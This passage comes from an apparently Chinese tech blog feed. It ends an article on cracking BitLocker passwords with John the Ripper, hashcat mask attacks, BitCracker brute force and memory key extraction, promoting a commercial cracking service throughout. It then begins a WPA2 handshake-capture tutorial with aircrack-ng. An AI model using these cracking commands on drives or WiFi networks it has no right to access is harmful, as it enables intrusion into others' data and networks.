&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 1. 从 BitLocker 卷提取密码哈希&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用 bitlocker2john 工具&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./bitlocker2john -i /dev/sdb1 &amp;gt; bl_hash.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 输出格式：&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># $bitlocker$1$16$...$100000$12$...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 2. 使用字典攻击&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">john --wordlist&lt;span class="o">=&lt;/span>rockyou.txt bl_hash.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 3. 查看结果&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">john --show bl_hash.txt
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-3hashcat-gpu-加速">方法 3：Hashcat GPU 加速&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># BitLocker 在 Hashcat 中的模式编号是 22100&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22100&lt;/span> -a &lt;span class="m">0&lt;/span> bl_hash.txt wordlist.txt
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用掩码攻击（如果记得密码部分信息）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 假设记得密码以 &amp;#34;My&amp;#34; 开头，后跟 4 个数字&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">hashcat -m &lt;span class="m">22100&lt;/span> -a &lt;span class="m">3&lt;/span> bl_hash.txt &lt;span class="s2">&amp;#34;My?d?d?d?d&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>&lt;strong>速度参考&lt;/strong>（GTX 3080）：约 30K/s，比 Office 文档快，但也不算特别快。&lt;/p>
&lt;h3 id="方法-4bitcracker开源专用工具">方法 4：BitCracker（开源专用工具）&lt;/h3>
&lt;p>&lt;a class="link" href="https://github.com/e-ago/bitcracker" target="_blank" rel="noopener"
>BitCracker&lt;/a> 是专门为 BitLocker 设计的密码破解工具：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 编译安装&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">git clone https://github.com/e-ago/bitcracker.git
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">cd&lt;/span> bitcracker
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mkdir build &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> build
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">cmake .. &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> make
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 提取哈希&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./bitcracker_hash -i /dev/sdb1 -o /tmp/hashes
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用字典破解&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./bitcracker_attack -m dict -h /tmp/hashes/hash_user_pass.txt -d wordlist.txt -o /tmp/output
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 使用暴力破解（指定密码长度）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">./bitcracker_attack -m bruteforce -h /tmp/hashes/hash_user_pass.txt -o /tmp/output -l &lt;span class="m">6&lt;/span> -u &lt;span class="m">8&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="方法-5商业取证工具">方法 5：商业取证工具&lt;/h3>
&lt;p>对于企业或执法场景，以下商业工具可以处理 BitLocker：&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Passware Kit&lt;/strong>（$3,195 起）：业界标准取证工具，支持 BitLocker、FileVault 等&lt;/li>
&lt;li>&lt;strong>Elcomsoft System Recovery&lt;/strong>（$249）：支持从休眠文件和内存镜像提取密钥&lt;/li>
&lt;li>&lt;strong>Magnet AXIOM&lt;/strong>：数字取证平台，支持从内存中提取 BitLocker 密钥&lt;/li>
&lt;/ul>
&lt;h3 id="方法-6从内存休眠文件中提取密钥">方法 6：从内存/休眠文件中提取密钥&lt;/h3>
&lt;p>如果电脑在 BitLocker 解锁状态下曾经休眠或崩溃，内存镜像中可能残留有解密密钥：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 从 Windows 休眠文件提取（需要 Volatility 取证框架）&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 1. 获取 hiberfil.sys 文件&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 2. 使用 Volatility 分析&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">volatility -f hiberfil.sys --profile&lt;span class="o">=&lt;/span>Win10x64 bitlocker
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 或使用 AESKeyFinder 从内存镜像提取 AES 密钥&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">aeskeyfinder memory_dump.raw
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>💡 &lt;strong>注意&lt;/strong>：此方法需要专业取证知识，且成功率取决于内存镜像的质量和时效性。&lt;/p>
&lt;/blockquote>
&lt;h2 id="方法-7云端-bitlocker-恢复服务">方法 7：云端 BitLocker 恢复服务&lt;/h2>
&lt;p>如果你不想折腾命令行工具，或者本地算力不足，可以借助云端服务：&lt;/p>
&lt;p>&lt;strong>&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网 (Catpasswd)&lt;/a>&lt;/strong> 支持 BitLocker 加密文件的密码恢复。&lt;/p>
&lt;h3 id="处理大文件的技巧">处理大文件的技巧&lt;/h3>
&lt;p>BitLocker 加密的通常是整个硬盘分区（几十 GB 甚至几 TB），不可能整个上传。处理方式是：&lt;/p>
&lt;ol>
&lt;li>使用 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> 提供的&lt;strong>特征提取工具&lt;/strong>（Catpasswd-Convert.exe）&lt;/li>
&lt;li>在本地对 BitLocker 加密卷运行特征提取&lt;/li>
&lt;li>工具只提取加密元数据（几 KB 的特征文件）&lt;/li>
&lt;li>上传特征文件到猫密网进行密码恢复&lt;/li>
&lt;li>&lt;strong>源文件和加密数据完全留在本地，100% 安全&lt;/strong>&lt;/li>
&lt;/ol>
&lt;p>这种方式完美解决了大文件上传的问题，同时保护了数据隐私。&lt;/p>
&lt;h2 id="bitlocker-各破解方法对比">BitLocker 各破解方法对比&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>方法&lt;/th>
&lt;th>适用场景&lt;/th>
&lt;th>难度&lt;/th>
&lt;th>速度&lt;/th>
&lt;th>成本&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Microsoft 账户找回&lt;/td>
&lt;td>有 MS 账户的用户&lt;/td>
&lt;td>极低&lt;/td>
&lt;td>即时&lt;/td>
&lt;td>免费&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Azure AD 找回&lt;/td>
&lt;td>企业用户&lt;/td>
&lt;td>低&lt;/td>
&lt;td>即时&lt;/td>
&lt;td>免费&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>dislocker + 已知密码&lt;/td>
&lt;td>Linux 挂载&lt;/td>
&lt;td>中&lt;/td>
&lt;td>即时&lt;/td>
&lt;td>免费&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>John the Ripper&lt;/td>
&lt;td>通用破解&lt;/td>
&lt;td>中&lt;/td>
&lt;td>中&lt;/td>
&lt;td>免费&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Hashcat&lt;/td>
&lt;td>GPU 用户&lt;/td>
&lt;td>高&lt;/td>
&lt;td>快&lt;/td>
&lt;td>免费&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>BitCracker&lt;/td>
&lt;td>专用工具&lt;/td>
&lt;td>中&lt;/td>
&lt;td>中&lt;/td>
&lt;td>免费&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Passware Kit&lt;/td>
&lt;td>企业/取证&lt;/td>
&lt;td>低&lt;/td>
&lt;td>快&lt;/td>
&lt;td>$3195+&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>内存取证&lt;/td>
&lt;td>有内存镜像&lt;/td>
&lt;td>极高&lt;/td>
&lt;td>不确定&lt;/td>
&lt;td>免费&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>&lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a>&lt;/td>
&lt;td>普通用户&lt;/td>
&lt;td>极低&lt;/td>
&lt;td>快&lt;/td>
&lt;td>免费/付费&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="bitlocker-密码恢复的实用技巧">BitLocker 密码恢复的实用技巧&lt;/h2>
&lt;h3 id="1-优先搜索恢复密钥">1. 优先搜索恢复密钥&lt;/h3>
&lt;p>再次强调：&lt;strong>找恢复密钥比破解密码快 100 倍&lt;/strong>。搜索以下位置：&lt;/p>
&lt;ul>
&lt;li>Microsoft 账户在线&lt;/li>
&lt;li>购买电脑时的文档&lt;/li>
&lt;li>公司 IT 部门&lt;/li>
&lt;li>曾经备份过的外接硬盘&lt;/li>
&lt;li>电子邮箱（搜索&amp;quot;BitLocker&amp;quot;关键词）&lt;/li>
&lt;/ul>
&lt;h3 id="2-利用-tpm-自动解锁">2. 利用 TPM 自动解锁&lt;/h3>
&lt;p>如果硬盘还在原来的电脑上且 TPM 芯片正常，可以尝试：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-powershell" data-lang="powershell">&lt;span class="line">&lt;span class="cl">&lt;span class="c"># 查看 TPM 状态&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">tpm&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="py">msc&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c"># 如果 TPM 可用，重新启用 BitLocker 自动解锁&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">manage-bde&lt;/span> &lt;span class="n">-protectors&lt;/span> &lt;span class="n">-enable&lt;/span> &lt;span class="n">C:&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="3-密码模式分析">3. 密码模式分析&lt;/h3>
&lt;p>BitLocker 密码通常有以下特点：&lt;/p>
&lt;ul>
&lt;li>很多人使用 Windows 登录密码作为 BitLocker 密码&lt;/li>
&lt;li>PIN 码解锁通常是 4-6 位数字&lt;/li>
&lt;li>移动硬盘的 BitLocker 密码可能与电脑登录密码相同&lt;/li>
&lt;/ul>
&lt;h3 id="4-不要贸然关闭-bitlocker">4. 不要贸然关闭 BitLocker&lt;/h3>
&lt;p>如果你不确定能否恢复数据，&lt;strong>不要在未备份的情况下关闭 BitLocker 或清除 TPM&lt;/strong>，否则可能导致数据永久丢失。&lt;/p>
&lt;h2 id="常见问题">常见问题&lt;/h2>
&lt;h3 id="q-bitlocker-有没有后门或万能密码">Q: BitLocker 有没有后门或万能密码？&lt;/h3>
&lt;p>&lt;strong>没有。&lt;/strong> BitLocker 使用的是 AES 加密（128 位或 256 位），目前没有已知的后门。微软也无法帮你绕过加密。唯一的恢复途径是找回恢复密钥或通过暴力/字典攻击破解密码。&lt;/p>
&lt;h3 id="q-重装系统后-bitlocker-要求输入恢复密钥怎么办">Q: 重装系统后 BitLocker 要求输入恢复密钥，怎么办？&lt;/h3>
&lt;p>这是因为重装系统改变了 TPM 的状态。解决方法：&lt;/p>
&lt;ol>
&lt;li>先在 Microsoft 账户中找恢复密钥&lt;/li>
&lt;li>用恢复密钥解锁&lt;/li>
&lt;li>然后可以关闭并重新启用 BitLocker&lt;/li>
&lt;/ol>
&lt;h3 id="q-bitlocker-to-gou盘移动硬盘的密码和系统盘一样吗">Q: BitLocker To Go（U盘/移动硬盘）的密码和系统盘一样吗？&lt;/h3>
&lt;p>不一样。BitLocker To Go 是用于可移动驱动器的，密码是用户手动设置的。系统盘的 BitLocker 通常由 TPM 自动管理，用户可能从未设置过密码。&lt;/p>
&lt;h3 id="q-bitlocker-加密的外接硬盘能直接挂载到-mac-上吗">Q: BitLocker 加密的外接硬盘能直接挂载到 Mac 上吗？&lt;/h3>
&lt;p>macOS 原生不支持 BitLocker。需要用 dislocker 或第三方工具（如 Hasleo BitLocker Anywhere for Mac，$39.95）。&lt;/p>
&lt;h3 id="q-加密硬盘太大几个-tb怎么处理">Q: 加密硬盘太大（几个 TB），怎么处理？&lt;/h3>
&lt;p>不要整个上传。使用 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> 的特征提取工具在本地提取加密元数据，只上传几 KB 的特征文件即可进行密码恢复。&lt;/p>
&lt;h2 id="预防措施避免再次丢失-bitlocker-密钥">预防措施：避免再次丢失 BitLocker 密钥&lt;/h2>
&lt;ol>
&lt;li>&lt;strong>备份恢复密钥到 Microsoft 账户&lt;/strong>：设置 BitLocker 时选择&amp;quot;保存到 Microsoft 账户&amp;rdquo;&lt;/li>
&lt;li>&lt;strong>打印纸质备份&lt;/strong>：放在安全的文件柜中&lt;/li>
&lt;li>&lt;strong>保存到 USB 驱动器&lt;/strong>：存放在与电脑不同的地方&lt;/li>
&lt;li>&lt;strong>使用密码管理器&lt;/strong>：把恢复密钥记录在 1Password、Bitwarden 等密码管理器中&lt;/li>
&lt;li>&lt;strong>企业用户&lt;/strong>：确保组策略配置了恢复密钥自动备份到 Active Directory&lt;/li>
&lt;/ol>
&lt;h2 id="总结">总结&lt;/h2>
&lt;p>BitLocker 数据恢复的优先级应该是：&lt;/p>
&lt;ol>
&lt;li>&lt;strong>首先找恢复密钥&lt;/strong>（Microsoft 账户 → Azure AD → 纸质备份 → IT 部门）&lt;/li>
&lt;li>&lt;strong>如果有恢复密钥&lt;/strong>：用 &lt;code>manage-bde&lt;/code> 命令直接解锁&lt;/li>
&lt;li>&lt;strong>如果没有恢复密钥&lt;/strong>：使用 Hashcat / John the Ripper 尝试密码破解&lt;/li>
&lt;li>&lt;strong>如果需要帮助&lt;/strong>：使用 &lt;a class="link" href="https://www.catpasswd.com" target="_blank" rel="noopener"
>猫密网&lt;/a> 的云端恢复服务 + 特征提取工具&lt;/li>
&lt;/ol>
&lt;p>BitLocker 的 AES 加密本身是非常安全的，关键在于密码的复杂度和恢复密钥的备份。养成备份密钥的好习惯，才能避免数据灾难。&lt;/p></description></item><item><title>WiFi密码忘了怎么找回？cap握手包破解教程（2026最新）</title><link>http://dosoos.github.io/blog_basha/p/wifi%E5%AF%86%E7%A0%81%E5%BF%98%E4%BA%86%E6%80%8E%E4%B9%88%E6%89%BE%E5%9B%9Ecap%E6%8F%A1%E6%89%8B%E5%8C%85%E7%A0%B4%E8%A7%A3%E6%95%99%E7%A8%8B2026%E6%9C%80%E6%96%B0/</link><pubDate>Mon, 18 May 2026 10:00:00 +0800</pubDate><guid>http://dosoos.github.io/blog_basha/p/wifi%E5%AF%86%E7%A0%81%E5%BF%98%E4%BA%86%E6%80%8E%E4%B9%88%E6%89%BE%E5%9B%9Ecap%E6%8F%A1%E6%89%8B%E5%8C%85%E7%A0%B4%E8%A7%A3%E6%95%99%E7%A8%8B2026%E6%9C%80%E6%96%B0/</guid><description>&lt;blockquote>
&lt;p>⚠️ &lt;strong>免责声明&lt;/strong>：本文仅用于恢复你自己拥有的 WiFi 网络密码。未经授权破解他人 WiFi 密码是违法行为，请勿用于非法用途。&lt;/p>
&lt;/blockquote>
&lt;h2 id="前言">前言&lt;/h2>
&lt;p>家里的 WiFi 密码设了太久没用忘记了？换了新手机想连 WiFi 却想不起密码？路由器管理页面也登不进去了？&lt;/p>
&lt;p>对于使用 WPA/WPA2 加密的 WiFi 网络，密码不会以明文形式存储在路由器中。但好消息是，我们可以通过抓取 WiFi 的&amp;quot;握手包&amp;quot;（Handshake），然后使用密码恢复工具来找回丢失的密码。&lt;/p>
&lt;h2 id="基础知识wpa2-握手包是什么">基础知识：WPA2 握手包是什么？&lt;/h2>
&lt;h3 id="四次握手4-way-handshake">四次握手（4-Way Handshake）&lt;/h3>
&lt;p>当设备（手机、电脑）连接 WPA2 WiFi 时，会和路由器进行一次&amp;quot;四次握手&amp;quot;过程：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">客户端 路由器
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 1. ANonce (随机数A) |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> |&amp;lt;------------------------------|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 2. SNonce (随机数B) + MIC |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> |------------------------------&amp;gt;|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 3. GTK + MIC |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> |&amp;lt;------------------------------|
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> | 4. 确认 |
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> |------------------------------&amp;gt;|
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>这个握手过程包含了用于推导 WiFi 密码的关键信息。抓到这四次握手的数据包（保存为 .cap 文件），就可以离线尝试恢复密码。&lt;/p>
&lt;h3 id="关键点">关键点&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>cap 文件不包含密码本身&lt;/strong>，只包含验证密码是否正确的信息&lt;/li>
&lt;li>需要至少一个设备在握手过程中在线（或手动触发重连）&lt;/li>
&lt;li>WPA2 的加密算法是 AES-CCMP，没有已知漏洞，只能通过穷举法恢复密码&lt;/li>
&lt;/ul>
&lt;h2 id="第一步抓取-wpa2-握手包">第一步：抓取 WPA2 握手包&lt;/h2>
&lt;h3 id="所需工具">所需工具&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>硬件&lt;/strong>：支持监听模式（Monitor Mode）的无线网卡
&lt;ul>
&lt;li>推荐：Alfa AWUS036ACH、TP-Link TL-WN722N（V1）、Alfa AWUS036NHA&lt;/li>
&lt;li>注意：很多内置笔记本网卡不支持监听模式&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;strong>软件&lt;/strong>：&lt;a class="link" href="https://www.aircrack-ng.org/" target="_blank" rel="noopener"
>aircrack-ng&lt;/a> 套件&lt;/li>
&lt;/ul>
&lt;h3 id="安装-aircrack-ng">安装 aircrack-ng&lt;/h3>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Ubuntu/Debian&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo apt install aircrack-ng
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># macOS&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">brew install aircrack-ng
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Kali Linux（已预装）&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h3 id="抓取握手的完整流程">抓取握手的完整流程&lt;/h3>
&lt;h4 id="1-查看无线网卡并切换到监听模式">1. 查看无线网卡并切换到监听模式&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 查看可用的无线网卡&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">iwconfig
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 假设网卡名称为 wlan0，先停止干扰进程&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo airmon-ng check &lt;span class="nb">kill&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 切换到监听模式&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo airmon-ng start wlan0
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 现在网卡名称变为 wlan0mon&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="2-扫描周围的-wifi-网络">2. 扫描周围的 WiFi 网络&lt;/h4>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo airodump-ng wlan0mon
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>屏幕会显示：&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">BSSID PWR Beacons #Data, #/s CH ENC AUTH CIPHER ESSID
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">AA:BB:CC:DD:EE:FF -45 100 50 2 6 WPA2 PSK CCMP MyHomeWiFi
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">11:22:33:44:55:66 -67 80 20 1 11 WPA2 PSK CCMP Neighbor_WiFi
